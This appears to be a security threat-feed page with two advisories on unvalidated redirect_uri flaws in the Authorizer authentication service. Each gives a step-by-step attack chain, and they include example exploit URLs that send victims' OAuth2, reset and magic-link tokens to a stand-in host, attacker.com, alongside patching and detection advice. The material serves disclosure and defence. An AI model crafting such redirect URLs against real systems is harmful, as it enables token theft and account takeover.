Authorizer - CraftedSignal Threat Feed

Authorizer Unvalidated Redirect Vulnerability Allows OAuth2 Token Theft

hello@craftedsignal.io — Fri, 10 Jul 2026 19:27:19 +0000

A critical unvalidated redirect vulnerability (CVE-2026-54072) in the Authorizer platform allows attackers to steal sensitive OAuth2 tokens. This flaw affects Authorizer versions prior to 0.0.0-20260409051328-bd3f5baf6d3d. An unauthenticated attacker can exploit this by first querying the publicly accessible /graphql endpoint to retrieve a valid client_id. They then craft a malicious URL targeting the /authorize endpoint, embedding an arbitrary, attacker-controlled redirect_uri. If a logged-in victim clicks this link, the Authorizer application performs a 302 redirect to the attacker's specified URL, appending the victim's access_token, id_token, and refresh_token as query parameters. This enables the attacker to intercept these tokens and impersonate the victim for the tokens' entire lifetime, bypassing authentication mechanisms. A partial fix was applied in v2.0.1 for other handlers, but the /authorize endpoint was overlooked.

Attack Chain

Attacker queries the public /graphql endpoint (e.g., http://TARGET/graphql) to obtain the client_id parameter, which is required for authorization requests.
The attacker crafts a malicious URL, including the obtained client_id and a controlled redirect_uri (e.g., https://attacker.com/steal), pointing to the vulnerable Authorizer /authorize endpoint.
The malicious URL (e.g., http://TARGET/authorize?response_type=token&client_id=...&redirect_uri=https://attacker.com/steal) is delivered to a logged-in victim, typically via social engineering.
When the victim clicks the malicious link, their browser sends an HTTP GET request to the Authorizer /authorize endpoint.
The Authorizer server, lacking proper validation for the redirect_uri parameter against AllowedOrigins, processes the request.
The server issues a 302 HTTP redirect response, appending the victim's access_token, id_token, and refresh_token as query parameters to the attacker-controlled redirect_uri.
The victim's browser automatically follows the redirect, sending the sensitive tokens to the attacker's server.
The attacker receives and logs the tokens, gaining unauthorized access to the victim's account and the ability to impersonate them.

Impact

Successful exploitation of CVE-2026-54072 results in the complete compromise of a victim's OAuth2 tokens, including access_token, id_token, and refresh_token. An attacker can then use these stolen tokens to impersonate the victim and access resources or perform actions on their behalf for the full duration of the token's validity, without any further user interaction beyond the initial click. While the specific number of victims or targeted sectors is not disclosed, any organization using affected versions of Authorizer is at risk of account takeover and unauthorized data access.

Recommendation

Patch CVE-2026-54072 immediately by updating Authorizer to a patched version (newer than 0.0.0-20260409051328-bd3f5baf6d3d).
Deploy the Sigma rule "Detects CVE-2026-54072 Exploitation - Malicious redirect_uri in Authorizer /authorize Endpoint" to your SIEM to detect attempts at exploiting this vulnerability.
Block attacker.com at your network perimeter, including DNS resolvers and web proxies.

Authorizer Unvalidated Redirect URI Vulnerability

hello@craftedsignal.io — Tue, 09 Jan 2024 12:00:00 +0000

Authorizer, a Go-based authentication and authorization service, is susceptible to a critical vulnerability affecting versions prior to commit 73679fa. This vulnerability allows attackers to inject arbitrary redirect URIs into several endpoints, including ForgotPassword, MagicLinkLogin, Signup, InviteMembers, OAuthLoginHandler, and VerifyEmailHandler. The root cause is the lack of proper validation of the redirect_uri parameter against the configured AllowedOrigins in these endpoints. By exploiting this flaw, attackers can redirect users to malicious sites and steal sensitive information such as password reset tokens, magic link tokens, and full authentication tokens (access_token, id_token, refresh_token). This poses a significant threat as it bypasses intended security configurations and can lead to account takeover and unauthorized access.

Attack Chain

Attacker crafts a malicious URL containing a vulnerable Authorizer endpoint (e.g., ForgotPassword) and injects an attacker-controlled redirect_uri pointing to a malicious site (e.g., https://attacker.com/steal).
The victim initiates a password reset request, signup, magic link login, or other vulnerable action on the legitimate Authorizer instance.
Authorizer generates a password reset token, magic link token, or full auth tokens and appends it to the attacker-controlled redirect_uri without validation.
The victim receives a legitimate email or link from Authorizer containing the malicious URL.
The victim clicks the link, redirecting their browser to the attacker-controlled site.
The attacker-controlled site receives the sensitive token or full auth tokens as URL parameters (e.g., https://attacker.com/steal?token= or https://attacker.com/steal?access_token=&id_token=&refresh_token=).
The attacker harvests the token(s) from the URL.
The attacker uses the stolen token(s) to reset the victim's password, gain unauthorized access to their account, or impersonate the victim.

Impact

This vulnerability can lead to complete account takeover due to stolen password reset tokens and full session compromise via stolen access tokens, ID tokens, and refresh tokens. It also affects passwordless login mechanisms by compromising magic link tokens. The attacker requires no prior authentication and only needs to trick the victim into clicking a link. This vulnerability affects any Authorizer instance running a vulnerable version, potentially impacting all users of applications relying on the vulnerable Authorizer service. The exposure of tokens in URL parameters also leads to information leakage through browser history, server logs, and referrer headers.

Recommendation

Upgrade Authorizer to a version containing the fix for this vulnerability (>= commit after 73679fa).
Implement robust validation of the redirect_uri parameter in all affected endpoints, specifically ForgotPassword, MagicLinkLogin, Signup, InviteMembers, OAuthLoginHandler, and VerifyEmailHandler, using a function similar to validators.IsValidOrigin() as used in /app handler.
Modify the default AllowedOrigins in cmd/root.go to a more restrictive value than ["*"] to force explicit configuration and prevent the OAuth endpoint's validation from becoming a no-op.
Deploy the Sigma rule Detect Suspicious Redirect URI Parameters to identify potential exploitation attempts in web server logs.
Monitor web server logs for requests to the affected Authorizer endpoints containing suspicious redirect_uri parameters, using the IOC https://attacker.com/steal as a starting point for identifying attacker infrastructure.